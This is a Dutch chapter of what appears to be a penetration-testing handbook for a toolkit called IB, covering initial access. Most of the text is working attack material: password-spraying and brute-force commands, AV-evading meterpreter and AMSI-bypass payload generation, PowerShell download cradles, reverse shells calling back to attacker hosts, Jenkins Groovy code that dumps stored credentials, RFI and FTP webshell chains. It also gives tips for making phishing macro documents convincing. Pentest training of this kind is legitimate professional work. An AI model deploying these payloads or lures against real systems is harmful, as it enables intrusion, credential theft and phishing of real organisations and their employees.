Initiële Toegang

“Elke deur gaat open. De vraag is alleen hoeveel sleutels je moet proberen.”

3.1 Het moment van binnentreden

Er is een moment in elke penetratietest dat alles verandert. Je bent uren, soms dagen bezig geweest met verkenning. Je hebt poorten gescand, services geenumereerd, woordenlijsten samengesteld. En dan – ergens tussen de 412e en 413e poging – klopt het wachtwoord. Of de payload landt. Of de macro wordt geopend. Je bent binnen.

Het is een merkwaardig gevoel. Het doet denken aan het openen van een lang vergeten deur in een Engels landhuis: het is niet de deur zelf die fascineert, maar wat erachter ligt. Bij een penetratietest is dat niet anders. Die eerste shell, dat eerste whoami dat terugkomt met een antwoord – dat is het moment waarop de test verandert van theorie naar praktijk.

Maar laten we eerlijk zijn: het feit dat je binnenkomt, is zelden het gevolg van briljant hackerwerk. Het is bijna altijd het gevolg van iemand die Summer2024! als wachtwoord heeft gekozen, of een beheerder die Jenkins open heeft laten staan, of een gebruiker die een Word-document met macro’s heeft geopend. Initiële toegang is in de praktijk minder “Hollywood hacker” en meer “geduldige boekhouder die wachtwoorden probeert.”

In dit hoofdstuk behandelen we de methoden om die eerste voet tussen de deur te krijgen: brute force en password spraying, payload-generatie, Office macro’s, Jenkins-exploitatie en Remote File Inclusion.


3.2 Brute force en password spraying

3.2.1 Het wachtwoordprobleem

Hier is een ongemakkelijke waarheid: de meeste beveiligingsincidenten beginnen met een gestolen of geraden wachtwoord. Niet met een zero-day exploit. Niet met een geavanceerde supply chain-aanval. Met een wachtwoord. Vaak Password1! of een variatie daarop.

Er zijn twee fundamenteel verschillende benaderingen om wachtwoorden te raden:

Het verschil is cruciaal. Brute force triggert vrijwel altijd account lockout – na drie of vijf foute pogingen wordt het account vergrendeld. Password spraying omzeilt dit door per lockout-window slechts een wachtwoord per account te proberen.

3.2.2 De lockout policy: ken je vijand

Voordat je ook maar een wachtwoord probeert, moet je de lockout policy kennen. Dit is niet optioneel. Dit is overlevingsinformatie.

# Vanuit het domein (als je al een foothold hebt):
net accounts /domain

# Via CrackMapExec (anoniem):
crackmapexec smb DC_IP -u '' -p '' --pass-pol
# Via PowerView:
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess

De drie magische getallen zijn: - Lockout threshold: na hoeveel pogingen wordt het account vergrendeld? - Lockout observation window: binnen welk tijdvenster tellen de pogingen? - Reset time: hoe lang duurt het voordat het account weer ontgrendeld wordt?

Als de lockout threshold op 5 staat en de observation window op 30 minuten, dan mag je maximaal 4 pogingen per 30 minuten doen per account. Dat klinkt beperkend, maar als je 500 accounts hebt, zijn 4 pogingen per account per 30 minuten al 2000 wachtwoord-combinaties per halve uur.

3.2.3 Gebruikersnamen verzamelen

Je hebt een lijst met gebruikersnamen nodig. Gelukkig zijn die makkelijker te vinden dan je zou denken:

# Kerbrute user enumeration (genereert geen lockout!)
kerbrute userenum -d DOMAIN --dc DC_IP \
    /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# LDAP (als anonymous bind mogelijk is)
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" \
    "(objectClass=user)" sAMAccountName | grep sAMAccountName

# CrackMapExec RID brute force
crackmapexec smb DC_IP -u '' -p '' --rid-brute

Kerbrute is bijzonder slim: het gebruikt het Kerberos pre-authentication mechanisme om te testen of een gebruiker bestaat. Dit genereert geen lockout events en nauwelijks logs. Het is het verschil tussen aan een deur kloppen en door het raam gluren.

3.2.4 Password spraying in de praktijk

# CrackMapExec spray (1 wachtwoord per ronde)
crackmapexec smb DC_IP -u users.txt -p 'Summer2024!' \
    -d DOMAIN --continue-on-success

# Volgende ronde (na 30+ minuten wachten!)
crackmapexec smb DC_IP -u users.txt -p 'Welcome1!' \
    -d DOMAIN --continue-on-success

# Kerbrute spray (sneller, minder logs)
kerbrute passwordspray -d DOMAIN --dc DC_IP users.txt 'Summer2024!'

# Spray via verschillende protocollen
crackmapexec winrm DC_IP -u users.txt -p 'Password1' -d DOMAIN
crackmapexec ldap DC_IP -u users.txt -p 'Password1' -d DOMAIN

De --continue-on-success flag is essentieel: zonder deze flag stopt CrackMapExec bij de eerste hit. In een spray-scenario wil je alle accounts vinden die hetzelfde wachtwoord gebruiken.

Een goed spray-script respecteert de lockout window:

# Geautomatiseerd spray script met wachttijd
for pw in Summer2024! Welcome1! Company2024!; do
    crackmapexec smb DC_IP -u users.txt -p "$pw" \
        -d DOMAIN --continue-on-success
    echo "[*] Wacht 35 minuten voor volgende spray ronde..."
    sleep 2100
done

Merk op dat de wachttijd (35 minuten) iets langer is dan de typische observation window (30 minuten). Die extra vijf minuten zijn een veiligheidsmarge. Beter vijf minuten te lang wachten dan honderden accounts vergrendelen en jezelf verraden.

De populairste spray-wachtwoorden zijn deprimerend voorspelbaar:

Patroon Voorbeelden
Seizoen + Jaar Summer2024!, Winter2024!, Spring2024!
Welkom Welcome1!, Welkom01!, Welcome2024!
Bedrijfsnaam CompanyName1!, Bedrijfsnaam1!
Password Password1!, P@ssw0rd!, Passw0rd!

Merk op: ze voldoen allemaal aan typische wachtwoordcomplexiteitsregels (hoofdletter, kleine letter, cijfer, speciaal teken, minimaal 8 karakters). Het beleid is technisch voldaan. De beveiliging is nul.

3.2.5 Brute force met Hydra en Medusa

Als password spraying niet werkt, of je richt je op een specifiek account, dan is brute force de volgende stap.

# Hydra: SSH
hydra -L users.txt -P passwords.txt ssh://TARGET_IP -t 4

# Hydra: RDP
hydra -L users.txt -P passwords.txt rdp://TARGET_IP -t 4

# Hydra: HTTP POST formulier
hydra -L users.txt -P passwords.txt TARGET_IP \
    http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" -t 4

# Hydra: HTTP Basic Auth
hydra -L users.txt -P passwords.txt TARGET_IP http-get /admin -t 4

# Hydra: SMB
hydra -L users.txt -P passwords.txt smb://TARGET_IP -t 4

# Hydra: MySQL
hydra -L users.txt -P passwords.txt mysql://TARGET_IP -t 4

# Hydra: MSSQL
hydra -L users.txt -P passwords.txt mssql://TARGET_IP -t 4
# Medusa: SSH
medusa -h TARGET_IP -U users.txt -P passwords.txt -M ssh -t 4

# Medusa: RDP
medusa -h TARGET_IP -U users.txt -P passwords.txt -M rdp -t 4

# Medusa: FTP
medusa -h TARGET_IP -U users.txt -P passwords.txt -M ftp -t 4

# Medusa: SMB
medusa -h TARGET_IP -U users.txt -P passwords.txt -M smbnt -t 4

# Medusa: HTTP Basic
medusa -h TARGET_IP -U users.txt -P passwords.txt \
    -M http -m DIR:/admin -t 4

De -t 4 flag beperkt het aantal gelijktijdige threads tot 4. Dit is belangrijk: meer threads betekent sneller scannen, maar ook meer kans op account lockout en detectie. Vier threads is een goed compromis.

3.2.6 Crowbar: de RDP-specialist

Hydra is notoir onbetrouwbaar voor RDP. Crowbar is de betere keuze:

# Crowbar RDP brute force
crowbar -b rdp -s TARGET_IP/32 -U users.txt -C passwords.txt -n 1

# Crowbar SSH key brute force
crowbar -b sshkey -s TARGET_IP/32 -u root -k /path/to/keys/ -n 1

# Crowbar OpenVPN
crowbar -b openvpn -s TARGET_IP/32 -u user -C passwords.txt \
    -c /path/to/config.ovpn

IB Tip: IB’s Task Runner heeft dedicated brute force taken: brute_ssh, brute_rdp en brute_vpn. Ze gebruiken Crowbar en lezen targets automatisch uit je nmap scan resultaten. De gen_passwords taak genereert een wachtwoordlijst gebaseerd op veelgebruikte patronen.

De IB Task Runner taken voor brute force:

Taak Groep Wat het doet
gen_passwords Brute Force Genereer wachtwoord variaties
brute_ssh Brute Force Crowbar SSH brute force op nmap targets
brute_rdp Brute Force Crowbar RDP brute force op nmap targets
brute_vpn Brute Force Crowbar VPN brute force op nmap targets
weak_ssh Brute Force Test Debian weak SSH keys

3.2.7 Offline hash cracking

Soms vind je geen werkend wachtwoord, maar wel een hash. Dan verschuift het probleem van netwerk-brute-force naar offline cracking – oneindig veel sneller en zonder lockout-risico.

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt

# Hashcat (GPU-versneld)
# NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# Kerberoast TGS hashes
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt

# AS-REP roasting hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# NetNTLMv2 hashes
hashcat -m 5600 netntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Het verschil in snelheid is astronomisch. Een online brute force tegen SSH doet misschien 100 pogingen per seconde. Hashcat met een fatsoenlijke GPU doet miljoenen hashes per seconde. Miljoenen. Het is het verschil tussen te voet naar Parijs lopen en er met een straalvliegtuig naartoe vliegen.

3.2.8 Woordenlijst generatie

Een goede woordenlijst is het verschil tussen succes en falen. rockyou.txt is een prima startpunt, maar bedrijfsspecifieke wachtwoorden staan er niet in.

# CeWL: scrape website voor woorden
cewl https://target-website -d 3 -m 5 -w cewl_wordlist.txt

# Met e-mailadressen extractie
cewl https://target-website -d 3 -m 5 -e \
    --email_file emails.txt -w cewl_wordlist.txt

# Crunch: patroon-gebaseerde woordlijsten
# @ = lowercase, , = uppercase, % = nummer, ^ = symbool
crunch 10 10 -t Company%%^^ -o company_passwords.txt
crunch 8 8 -t @@@@%%%% -o names_numbers.txt

# PIN codes genereren
crunch 6 6 0123456789 -o pins.txt

De slimste aanpak is een combinatie: gebruik CeWL om bedrijfsnamen, productnamen en jargon van de website te scrapen, en pas daar dan mutatie-regels op toe:

# John the Ripper regels toepassen op een woordenlijst
john --wordlist=cewl_wordlist.txt --rules=best64 --stdout > mutated.txt
john --wordlist=cewl_wordlist.txt --rules=KoreLogic --stdout > mutated.txt

# Hashcat regels
hashcat -r /usr/share/hashcat/rules/best64.rule \
    --stdout wordlist.txt > mutated.txt

# Meerdere regelsets combineren
hashcat -r rule1.rule -r rule2.rule --stdout wordlist.txt > mutated.txt

De best64 regelset is een goede start – het past 64 veelgebruikte transformaties toe (hoofdletter aan het begin, cijfers achteraan, symbolen toevoegen, etc.). De OneRuleToRuleThemAll regelset is uitgebreider maar trager.

IB Tip: IB’s passwd_wordlist command file bevat crunch-patronen, CeWL-commando’s en mutatie-regels. Het passwd_spray bestand bevat de complete spray-workflow inclusief lockout policy checks. Begin altijd met de lockout policy voordat je gaat sprayen.


3.3 Payload generatie

3.3.1 De wapenkamer

Een payload is het stukje code dat op het doelsysteem draait en je een verbinding teruggeeft. Het is de digitale equivalent van een sleutel die je van binnenuit de deur openmaakt. Incompetent Bastard heeft acht payload generators ingebouwd – elk voor een ander scenario, platform en evasion-techniek.

IB’s payload generators zijn geen simpele msfvenom-wrappers. Ze genereren shellcode, passen XOR-encryptie toe, compileren C# code, en produceren kant-en-klare bestanden die je direct kunt deployen. Alles vanuit een webinterface.

3.3.2 Overzicht van IB’s payload generators

Generator Route Output Beschrijving
Meterpreter /meterpreter meuk/meth/bin/Debug/meth.exe XOR-encrypted C# meterpreter, compilatie via msbuild
Meterpreter v2 /meterpreter2 meuk/meth/bin/Debug/meth.exe v2 met LURI support
PowerShell /powershell http/payloads/amsi-bypass.ps1, amsi-shell.ps1, shell_443.txt AMSI bypass + reverse shell + base64 payload
Macro /macro VBA macro / .docm Office macro met msfvenom shellcode
Macro v2 /macro2 VBA macro / .docm v2 met LURI support en template injectie
Meth ASPX /methaspx http/payloads/meth.aspx XOR-encrypted C# ASPX webshell
Invoke-Shellcode /invokeshellcode http/payloads/invoke-shellcode.ps1 PowerShell x32+x64 shellcode loader

3.3.3 Meterpreter Generator walkthrough

De Meterpreter Generator is IB’s vlaggenschip payload generator. Hij genereert een XOR-encrypted C# executable die meterpreter shellcode laadt – ontworpen om antivirusdetectie te ontwijken.

Stap 1: Open de generator

Navigeer naar http://127.0.0.1:5000/meterpreter in je browser. Je ziet een formulier met drie velden:

Stap 2: Configureer de payload

Typische configuratie: - LHOST: 10.0.0.1 (je aanvalsmachine) - LPORT: 443 (HTTPS-poort, minder opvallend) - Payload: windows/x64/meterpreter/reverse_https - XOR Key: leeg (random)

Stap 3: Genereer

Klik op “Genereer meterpreter”. IB doet het volgende op de achtergrond:

  1. Roept msfvenom aan om raw shellcode te genereren
  2. Past XOR-encryptie toe met de opgegeven of random sleutel
  3. Genereert een C# bronbestand met de encrypted shellcode
  4. Compileert het met msbuild
  5. Produceert meuk/meth/bin/Debug/meth.exe

Stap 4: Download en deploy

De gegenereerde executable verschijnt als download. Transfer het naar het doelsysteem via een van IB’s delivery-methoden (HTTP server, FTP upload, of via een eerder verkregen shell).

3.3.4 Meterpreter v2: met LURI support

De v2 generator voegt een LURI (Listener URI) parameter toe. Dit is nuttig als je Metasploit handler achter een reverse proxy draait – de LURI specificeert het pad waarop de handler luistert.

Configuratie: - LHOST: 10.0.0.1 - LPORT: 443 - LURI: /api/v1/session (of elk willekeurig pad) - Payload: windows/x64/meterpreter/reverse_https

De LURI maakt het verkeer minder opvallend: in plaats van callbacks naar https://10.0.0.1:443/, gaan ze naar https://10.0.0.1:443/api/v1/session – wat eruitziet als normaal API-verkeer.

3.3.5 PowerShell Generator

De PowerShell Generator produceert drie bestanden:

  1. amsi-bypass.ps1: een script dat de Antimalware Scan Interface (AMSI) uitschakelt
  2. amsi-shell.ps1: AMSI bypass + reverse shell in een bestand
  3. shell_443.txt: base64-encoded payload
# Typisch gebruik op het doelsysteem:
# 1. AMSI bypass laden
IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/amsi-bypass.ps1')

# 2. Reverse shell laden
IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/amsi-shell.ps1')

# Of de base64 variant (minder detecteerbaar):
powershell -enc [BASE64_STRING]

De PowerShell Generator ondersteunt ook LURI en een keuze van bestandsnaam voor het output-bestand in http/payloads/.

3.3.6 Invoke-Shellcode Generator

De Invoke-Shellcode generator produceert een PowerShell script dat shellcode injecteert in het huidige process. Het genereert zowel x32 als x64 shellcode via msfvenom en verpakt het in een invoke-shellcode.ps1 bestand.

Configuratie: - LHOST: 10.0.0.1 - LPORT: 443 - LURI: / (standaard)

Output: http/payloads/invoke-shellcode.ps1

Het verschil met de PowerShell Generator is subtiel maar belangrijk: de PowerShell Generator produceert een script dat via een download cradle wordt geladen en direct in PowerShell draait. De Invoke-Shellcode Generator produceert een script dat shellcode direct in het proces-geheugen injecteert. Dat laatste is moeilijker te detecteren voor antivirusoplossingen die op bestandsniveau scannen.

3.3.7 ASPX Generator (Meth ASPX)

Voor IIS-webservers genereert de Meth ASPX Generator een XOR-encrypted ASPX webshell. Dit is nuttig als je schrijftoegang hebt tot een IIS-webroot (via FTP, SMB, of een upload-kwetsbaarheid).

# Na generatie: upload naar IIS webroot
# Via FTP:
ftp TARGET_IP
# put meth.aspx
# cd wwwroot
# put meth.aspx

# Via curl (als er een upload endpoint is):
curl -F "file=@http/payloads/meth.aspx" http://TARGET_IP/upload

# Trigger:
curl http://TARGET_IP/meth.aspx

Output: http/payloads/meth.aspx met XOR-encrypted C# shellcode.

3.3.8 Msfvenom: de command-line manier

Achter IB’s generators draait msfvenom. Als je de command-line prefereert, of een payload nodig hebt die IB niet ondersteunt:

# Windows meterpreter reverse HTTPS (exe)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe

# Windows meterpreter reverse TCP (exe)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f exe -o shell_tcp.exe

# Linux reverse shell (ELF)
msfvenom -p linux/x64/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f elf -o shell.elf

# ASP reverse shell (voor IIS)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f asp -o shell.asp

# JSP reverse shell (voor Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f raw -o shell.jsp

# WAR file (voor Tomcat manager)
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f war -o shell.war

# macOS reverse shell
msfvenom -p osx/x64/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f macho -o shell.macho

# PowerShell payload (base64)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f psh -o shell.ps1

# Raw shellcode (voor custom loaders)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f raw -o shellcode.bin

# C# shellcode (voor compilatie)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f csharp

IB Tip: IB’s http/payloads/ directory bevat kant-en-klare payloads in meerdere formaten: .exe, .elf, .asp, .jsp, .war, .macho, .txt (base64 PowerShell). IB’s ingebouwde HTTP server serveert deze bestanden automatisch – je slachtoffer hoeft ze alleen maar te downloaden.

3.3.9 Metasploit handler opzetten

Een payload zonder handler is als een telefoon zonder ontvanger. Je moet Metasploit klaarzetten om de callback op te vangen:

# Start msfconsole
msfconsole

# Handler configureren
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.1
set LPORT 443
set ExitOnSession false
exploit -j

De ExitOnSession false optie zorgt ervoor dat de handler blijft luisteren na de eerste verbinding – essentieel als je meerdere sessies verwacht. De exploit -j flag start de handler als achtergrond-job, zodat je de msfconsole kunt blijven gebruiken.

Enkele nuttige Metasploit-commando’s na het opzetten van de handler:

# Lijst van actieve sessies
sessions -l

# Interactie met een sessie
sessions -i 1

# Achtergrond een sessie
background

# Route toevoegen via een sessie (voor pivoting)
route add 10.1.0.0/24 1

Voor HTTPS-payloads met LURI:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.1
set LPORT 443
set LURI /api/v1/session
set ExitOnSession false
exploit -j

3.4 Office macro’s: social engineering met een spreadsheet

3.4.1 Waarom macro’s werken

Office macro’s zijn de oudste truc in het boek, en ze werken nog steeds. Niet omdat de techniek zo geavanceerd is – het is letterlijk VBA-code uit de jaren negentig – maar omdat de zwakste schakel altijd de mens is. Een goed opgemaakt Excel-bestand met de titel “Salarisoverzicht_Q4.xlsm” en een vriendelijk bericht “Klik op ‘Enable Macros’ om de gegevens te bekijken” is voldoende om in menig organisatie een foothold te krijgen.

Microsoft heeft in recente versies van Office macro’s standaard geblokkeerd voor bestanden die van internet zijn gedownload (de Mark-of-the-Web bescherming). Maar in veel bedrijfsomgevingen draaien oudere versies, of is deze bescherming uitgeschakeld “omdat anders de afdeling Financien niet kan werken.”

3.4.2 IB’s Macro Generator

IB heeft twee macro generators: de originele en de v2 (met LURI-support).

Macro Generator (v1):

  1. Navigeer naar http://127.0.0.1:5000/macro
  2. Configureer:
    • LHOST: 10.0.0.1
    • LPORT: 443
    • Payload: windows/meterpreter/reverse_https
    • Template (optioneel): upload een .docx of .xlsx
  3. Klik “Genereer macro”

Als je een template uploadt, injecteert IB de macro in het document en produceert een macro-enabled versie (.docm of .xlsm). Zonder template krijg je de raw VBA-code die je handmatig in een document kunt plakken.

Macro Generator (v2):

Dezelfde workflow, maar met een extra LURI-veld. De API endpoint is /api/macro2/generate.

3.4.3 Handmatige VBA macro payload

Als je de macro zelf wilt bouwen:

# Genereer VBA macro via msfvenom
msfvenom -p windows/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 \
    -f vba-exe -o macro_payload.vba

De gegenereerde code bestaat uit twee delen: 1. Een Auto_Open() (Word) of Workbook_Open() (Excel) functie die automatisch draait bij het openen van het document 2. Shellcode die in het geheugen wordt geladen en de meterpreter-sessie start

Om de macro in een document te plaatsen: 1. Open Word of Excel 2. Druk Alt+F11 om de VBA-editor te openen 3. Plak de gegenereerde code in een module 4. Sla op als .docm (Word) of .xlsm (Excel)

3.4.4 Social engineering delivery

De techniek is slechts de helft van het verhaal. De delivery – hoe je het document bij het slachtoffer krijgt – is minstens zo belangrijk.

Effectieve delivery-methoden:

  1. E-mail: het meest voorkomend. Een overtuigend bericht met het document als bijlage
  2. USB-drop: fysiek een USB-stick achterlaten op een parkeerplaats of in de lobby
  3. Interne share: als je al een foothold hebt, plaats het document op een gedeelde schijf
  4. Website: host het document op een overtuigende website

De sleutel is context. Een document genaamd Factuur_December.xlsm verstuurd in januari aan de financiële afdeling is vele malen effectiever dan een generiek document aan een willekeurige medewerker.

Enkele tips voor overtuigende macro-documents:

  1. Gebruik de huisstijl: kopieer logo’s, kleurtinten en lettertypen van de organisatie
  2. Verwijs naar echte projecten: als je via OSINT projectnamen hebt gevonden, gebruik ze
  3. Maak het urgent: “Actie vereist voor 17:00” werkt beter dan “Bijgevoegd ter informatie”
  4. Verberg de macro-waarschuwing: voeg een afbeelding toe die zegt “Dit document is beveiligd. Klik op ‘Enable Content’ om het te bekijken”
  5. Stuur het op het juiste moment: maandagochtend is effectiever dan vrijdagmiddag

Dit is geen technisch advies. Dit is social engineering. En social engineering is effectiever dan welke exploit dan ook.

IB Tip: IB’s HTTP server (standaard actief op poort 5000) serveert bestanden uit de http/payloads/ directory. Gegenereerde macro-documenten worden hier automatisch geplaatst. Combineer dit met IB’s XSS-hooks voor een volledige social engineering pipeline: hook de browser, stuur een bericht met een link naar je payload.


3.5 Jenkins exploitatie

3.5.1 De CI/CD-server als achterdeur

Jenkins is de meest gebruikte CI/CD-server ter wereld. Het automatiseert het bouwen, testen en deployen van software. En het draait vaak als root of SYSTEM. Op een server die toegankelijk is voor het hele ontwikkelteam. Soms voor het hele netwerk. Soms voor het hele internet.

Jenkins is een penetratietester’s droom. Het is ontworpen om willekeurige code uit te voeren – dat is letterlijk zijn functie. Het verschil tussen “legitimate CI/CD pipeline” en “remote code execution” is alleen een kwestie van wie de code uitvoert.

3.5.2 Detectie

# Jenkins draait typisch op deze poorten
# 8080 (HTTP), 8443 (HTTPS), 50000 (agent)

# Versie detectie
nmap -sV -p 8080,8443,50000 TARGET_IP

# Handmatige checks:
# Login pagina:  http://TARGET:8080/login
# Versie info:   http://TARGET:8080/oops (of /error)
# Groovy console: http://TARGET:8080/script
# Manage pagina:  http://TARGET:8080/manage
# Gebruikerslijst: http://TARGET:8080/asynchPeople/

De belangrijkste vraag is: is /script bereikbaar? Als ja, heb je directe remote code execution. De Groovy Script Console is een interactieve console die willekeurige Groovy-code uitvoert op de server. Met de rechten van het Jenkins-proces. Dat is meestal root of SYSTEM.

3.5.3 Groovy Script Console: directe RCE

Als de Script Console toegankelijk is (al dan niet na authenticatie):

// Linux: command execution
def cmd = "id".execute()
println cmd.text

// Linux: reverse shell
String host = "10.0.0.1"
int port = 443
String cmd = "/bin/bash"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = p.getInputStream()
InputStream pe = p.getErrorStream()
InputStream si = s.getInputStream()
OutputStream po = p.getOutputStream()
OutputStream so = s.getOutputStream()
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read())
    while (pe.available() > 0) so.write(pe.read())
    while (si.available() > 0) po.write(si.read())
    so.flush()
    po.flush()
    Thread.sleep(50)
}
// Windows: command execution
def cmd = "cmd.exe /c whoami".execute()
println cmd.text

// Windows: PowerShell download cradle
def cmd = "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')".execute()

3.5.4 Build Step RCE

Als je geen admin-toegang hebt maar wel Jobs kunt aanmaken of wijzigen:

  1. Maak een nieuwe Job: New Item -> Freestyle project
  2. Ga naar Build -> Add build step -> Execute shell (Linux) of Execute Windows batch command
  3. Voer je commando in:
# Linux reverse shell via build step
bash -i >& /dev/tcp/10.0.0.1/443 0>&1
# Windows: download en execute
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')"
  1. Klik Build Now

De build draait als het Jenkins-serviceaccount. Op Linux is dat vaak jenkins (soms root). Op Windows is dat vaak NT AUTHORITY\SYSTEM.

3.5.5 Credential dumping via Jenkins

Jenkins slaat credentials op in $JENKINS_HOME/credentials.xml, versleuteld met een master key. Via de Groovy console kun je deze ontsleutelen:

// Alle opgeslagen credentials dumpen
com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
).each {
    println "ID: ${it.id}, User: ${it.username}, Pass: ${it.password}"
}
// Individuele encrypted string ontsleutelen
println hudson.util.Secret.decrypt("{AQAAABAAAAAg...}")

Jenkins credentials bevatten vaak SSH-sleutels, database-wachtwoorden, API-tokens en deployment-credentials. Een compromised Jenkins is niet alleen toegang tot de Jenkins-server – het is potentieel toegang tot elk systeem waar Jenkins mee communiceert.

3.5.6 Jenkins CLI en API

# Jenkins API met bekende credentials
curl -u admin:PASSWORD http://TARGET:8080/api/json

# Remote code execution via API
curl -u admin:PASSWORD http://TARGET:8080/script \
    -d "script=println 'whoami'.execute().text"

# Jenkins CLI
# Download de CLI jar:
# http://TARGET:8080/jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s http://TARGET:8080/ \
    -auth admin:PASSWORD groovy = <<< "println 'id'.execute().text"

3.5.7 Jenkins als springplank

Het gevaar van Jenkins gaat verder dan de Jenkins-server zelf. Jenkins communiceert typisch met:

Elke credential die in Jenkins staat, is een nieuw aanvalspad. Een gecompromitteerde Jenkins-server is zelden het eindpunt – het is het begin van een veel grotere aanval. Dit is wat security professionals “lateral movement” noemen, en Jenkins is een van de effectiefste springplanken die er bestaan.

3.5.8 Bekende Jenkins CVEs

CVE Beschrijving Impact
CVE-2024-23897 Arbitrary file read via CLI args Hoog
CVE-2019-1003000 Sandbox bypass in Pipeline Kritiek
CVE-2018-1000861 Unauthenticated RCE Kritiek

IB Tip: IB’s exploit_jenkins commandobestand bevat de volledige Jenkins exploitation flow: detectie, Groovy console shells (Linux en Windows), build step RCE, credential dumping en API-misbruik. De kern: als /script bereikbaar is, heb je RCE. Jenkins draait vaak als root of SYSTEM, dus dat betekent meestal directe privilege escalation.


3.6 Remote File Inclusion (RFI)

3.6.1 Het PHP-probleem

Remote File Inclusion is een kwetsbaarheid die vooral voorkomt in PHP-applicaties. Het werkt als volgt: de applicatie includeert een bestand op basis van gebruikersinput, en als die input een URL kan zijn, kan een aanvaller zijn eigen code laten uitvoeren.

De kwetsbare code ziet er meestal zo uit:

<?php
    include($_GET['page']);
?>

Als de aanvaller page=http://attacker.com/shell.php kan meegeven, includeert de server het bestand van de aanvaller en voert het uit. Het is alsof je tegen een kok zegt “maak wat er in dit recept staat” en hem dan een recept geeft voor vergif.

3.6.2 php://input methode

De php://input stream wrapper is bijzonder bruikbaar: het laat je PHP-code meegeven in de request body in plaats van via een extern bestand. Geen aparte hosting nodig.

# Stap 1: Start een listener
nc -lnvp 443

# Stap 2: Stuur de RFI payload
curl -v 'http://TARGET/vuln.php?page=php://input%00' \
    -d '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 443 >/tmp/f");?>'

De %00 (null byte) aan het einde van de URL is een oude truc: PHP-versies voor 5.3 interpreteerden de null byte als het einde van de string, waardoor een eventuele .php-extensie die de applicatie toevoegde werd genegeerd.

3.6.3 IB als payload host

IB draait een HTTP-server die bestanden uit http/payloads/ serveert. Dit maakt het ideaal als host voor RFI-payloads:

  1. Genereer een payload via een van IB’s generators
  2. De payload staat automatisch in http/payloads/
  3. IB serveert het bestand via HTTP
  4. Gebruik de URL in je RFI-aanval
# Voorbeeld: RFI met IB-gehoste webshell
curl 'http://TARGET/vuln.php?page=http://ATTACKER_IP:5000/static/payloads/shell.php'

IB Tip: IB’s Task Runner heeft een rfi_input taak die de php://input methode automatiseert. Het start automatisch een netcat listener in een screen-sessie en stuurt de RFI payload. De output vertelt je welke screen-sessie je shell bevat.

3.6.4 FTP als delivery-methode

IB heeft ook een FTP-gebaseerde aanvalsketen: ftp_asp.sh combineert anonymous FTP-upload met het triggeren van een ASP webshell:

# Wat ftp_asp.sh doet:
# 1. Start netcat listener in screen
screen -dmS ftp_asp_443 nc -lnvp 443

# 2. Upload ASP shell via anonymous FTP
ftp -n TARGET_IP <<END
quote USER Anonymous
quote PASS Anonymous
cd wwwroot
binary
put shell_443.asp
quit
END

# 3. Trigger de shell via HTTP
curl http://TARGET_IP/shell_443.asp

Dit is de klassieke keten: verkenning (anonymous FTP gevonden), payload delivery (upload via FTP), executie (trigger via HTTP). Drie stappen, minimale complexiteit, maximale impact.


3.7 Het cynische intermezzo: over wachtwoorden en menselijke feilbaarheid

Weet je wat het ironische is aan wachtwoordbeveiliging? We dwingen mensen om wachtwoorden te bedenken die moeilijk te onthouden zijn voor mensen, maar triviaal te kraken voor computers. P@ssw0rd1! voldoet aan elke complexiteitseis die een doorsnee IT-afdeling stelt: hoofdletter, kleine letter, cijfer, speciaal teken, minimaal 8 karakters. En het staat in elke woordenlijst die ooit is gemaakt.

Ondertussen zou mijn hond eet graag kaas op dinsdag een fantastisch wachtwoord zijn – lang, willekeurig, makkelijk te onthouden – maar het voldoet niet aan het beleid omdat er geen hoofdletter en geen speciaal teken in zit. We hebben een systeem gebouwd dat slechte wachtwoorden afdwingt en goede wachtwoorden afwijst. Dat is geen bug, dat is het ontwerp.

En Jenkins? Jenkins is de perfecte metafoor voor de staat van IT-beveiliging in het algemeen. We bouwen een systeem waarvan de letterlijke functie is “voer willekeurige code uit op een server”, geven het admin-rechten, zetten het op het netwerk, en vragen ons vervolgens af hoe de aanvallers zijn binnengekomen. Dat is alsof je een gewapende waakhond in je kantoor zet en dan verbaasd bent als hij iemand bijt.

